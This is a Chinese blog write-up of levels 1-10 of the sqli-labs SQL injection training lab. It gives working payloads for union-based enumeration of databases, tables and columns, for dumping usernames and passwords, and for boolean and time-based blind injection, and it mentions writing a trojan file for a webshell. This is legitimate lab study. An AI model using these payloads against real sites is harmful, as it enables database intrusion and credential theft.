sqli-labs-master前十关过关总结_sqli-lab 第十关_Alexz__的博客-程序员宅基地

技术标签: 靶机训练  

登入Windows命令行MySQL,方便查验注入命令
 
 
第一关:
在$_GET id 处注入
源码如下
只需构造闭合即可爆出数据
单引号’报错
查列数:
知道为3列之后使用sql联合查询语句:union
这里需要注意,使用联合查询爆出数据库名称的时候前面id值需要放空:
因为网页上能显示的只有第一行的内容
所以前面id值需要放空为“null”
 
查看所有数据库名称:
?id=' union select 1,group_concat( schema_name),3 from information_schema.schemata --+

 

 
查看所有表名:
?id=' union select 1,group_concat( table_name),3 from information_schema.tables where table_schema='security' --+
 
已知数据库名和表名,爆列名:
?id=' union select 1,group_concat( column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
 
分别在2,3处显示username和password:
?id=' union select 1,group_concat( username),group_concat( password) from users --+
 
 
 
 
第二关:
通第一关类型一致,但是为数字型报错,不需要闭合
所有步骤同第一关一样
 
 
 
 
第三关:
同上,报错为单引号+小括号:   ')
 
 
 
 
第四关:
 
 
 
 
第五关:
先构造出闭合,直到其为报错为止,就说明以及进去了
利用Firefox插件MaxHacKBar(f12)中的报错语句
 
 
 
 
第六关
同第五关一样
找到了闭合点一切就可以按照套路来了
 
 
 
 
第七关
需要了解这两个函数,可以调出数据库的安装路径,以便通过菜刀连接远程服务器
钥匙我们需要写入木马文件,需要先判断是否具有写权限:
?id=1' and (select count(*)from mysql.user)>0 --+
若返回正常则具有写权限
 
 
无法写入,理论上都是正确的。。。先走一步看一步,不要在这儿浪费太多的时间
 
 
 
 
第八关:
这一关是基于布尔的盲注,从报错的结果返回来判断我们的猜测是否正确
 
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
 
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
 
mid(str,pos,len):跟上面的一样,截取字符串
 
 ascii(str):返回字符串str的最左面字符的ASCII代码值。
 
ord(str):同上,返回ascii码
 
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
 
正确的显示为:
错误的显示为:
 
所以这里的闭合为单引号 :‘
先在dos上测试一下:
security第一个字母就是 s (这里也区分大小写哦)
 
故可以进行布尔判断:
?id=1' and if(ascii(substr((select database()),1,1))>114,1,0) --+
规律同上面关卡所示
 
 
 
 
第九关:
基于布尔的时间盲注:
通过sleep()函数,通过web界面的返回时间长短判断是否被执行
括号内的数字代表延迟时间(单位是秒s)
在时间盲注上的sleep韩束位置选择,最好可以再是错次数交多处进行卡顿,这样可以大大节约测试时间
正在卡顿中....
 
?id=1' and if(ascii(substr((select database()),1,1))>114,1,sleep(2)) --+
同样套路
 
 
 
 
第十关:
发现标题是: 双引号,但是却一直是同样的“you are in ...”
那就该是被定向了,需要通过实践延迟函数来判断他的闭合区间:
?id=1" and sleep(5) --+
这个的返回时间明显加长了很多,那就是双引号了。
具体的时间注入这里就不想过深的去实践,因为太浪费时间,可以自己用python写出一个运行脚本或者是直接上工具SQLmap来进行测试;
 
 
 
 
 
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Alexz__/article/details/104171778

智能推荐

java字符串数组进行大小排序_weixin_30710457的博客-程序员宅基地

若是将两个字符串直接比较大小,会包:The operator > is undefined for the argument type(s) java.lang.String, java.lang.String的错误。字符串比较大小可以用字符串长度或者是比较字符串内字符的ASCII码值,前者太简单,就不进行讲述记录。字符串用ASCII码比较大小,规则是:1、比较首字母的ASCII...

用PHP做一个校园论坛源代码,php校园BBS论坛网站_weixin_39654917的博客-程序员宅基地

【实例简介】论坛在HTML+DIV+CSS设计的基础上,用当今比较流行的网站开发技术PHP语言进行开发,用当今世界上最流行的Apache作为本站开发的服务器。论坛将采用B/S体系结构,人们通过浏览器就可以访问论坛网站的所有页面,保证的服务器的安全。数据库采用免费,小巧,易用的MySQL数据库。该论坛功能较齐全,在这里可以自由地发表自己的观点和对论坛的主题发表意见,我们还可以对网友的问题及时地解决,...

Hive 并行执行_大数据流浪法师的博客-程序员宅基地

Hive 并行执行Hive会将一个查询转化成一个或者多个阶段。这样的阶段可以是MapReduce阶段、抽样阶段、合并阶段、limit阶段。或者Hive执行过程中可能需要的其他阶段。默认情况下,Hive一次只会执行一个阶段。不过,某个特定的job可能包含众多的阶段,而这些阶段可能并非完全互相依赖的,也就是说有些阶段是可以并行执行的,这样可能使得整个job的执行时间缩短。不过,如果有更多的阶段...

理解Bitcode:一种中间代码_bitcode 混淆_沸腾的泪水05314的博客-程序员宅基地

转载自: http://www.cocoachina.com/ios/20150817/13078.html招聘信息:iOS开发经理前端工程师Android开发工程师iOS开发工程师iOS开发工程师iOS开发工程师cocos2dx开发工程师----在线等,挺急的~iOS高级开发工程师(急招)开发工程师iOS工程师&技术经理&总监iOS开发工程师 

opencascade实现一些刀具路径规划方法-程序员宅基地

学习opencascade,通过输入零件的内、外边界轮廓环(红色标出),实现一些常见刀具加工路径算法(绿色标出)。

随便推点

mouseenter mouseleave 鼠标经过div边框变色,点击跳到相应链接_北方的刀郎的博客-程序员宅基地

定义和用法当鼠标指针穿过元素时,会发生 mouseenter 事件。该事件大多数时候会与 mouseleave 事件一起使用。mouseenter() 方法触发 mouseenter 事件,或规定当发生 mouseenter 事件时运行的函数。注释:与 mouseover 事件不同,只有在鼠标指针穿过被选元素时,才会触发 mouseenter 事件。如果鼠标指针穿过任何子元素,同样会触发 mous

我的机器学习支线「模型复杂度」_昊大侠的博客-程序员宅基地

模型复杂度通常是指前向过程的计算量(反映模型所需要的计算时间)和参数个数(反映模型所需要的计算机内存空间)用于评价模型运行效率高低

Qt应用(Windows平台)崩溃查询_雲烟的博客-程序员宅基地

背景:Qt写的win应用在运行过程中莫名crash,QtCreator下debug也找不到调用者,就找了各种办法,下面这种不仅适用Qt的应用,也适用任何IDE开发的应用。前提条件:官网下载DebugDiagnostic工具:https://www.microsoft.com/en-us/download/confirmation.aspx?id=26798方法一:应用弹出无响应后,不要...

javascript复习笔记二----自动转型函数_晨曦软海的博客-程序员宅基地

Boolean()函数  要将一个值转换为其对应的Boolean 值,可以调用转型函数Boolean(),如下例所示: var message = "Hello world!"; var messageB = Boolean(message); 数据类型    转换为true的值      转换为false的值  Boolean      true    

一个查看oracle最新漏洞的网址_cuiqingko849622的博客-程序员宅基地

http://www.oracle.com/technology//deploy/security/alerts.htm ...

使您的64位计算机看起来像准将64_cum88284的博客-程序员宅基地

The Commodore 64 was one of the bestselling home computers ever, and many geeks got their first computing experience on one of these early personal computers. Here’s an easy way to revisit the early y...

推荐文章

热门文章

相关标签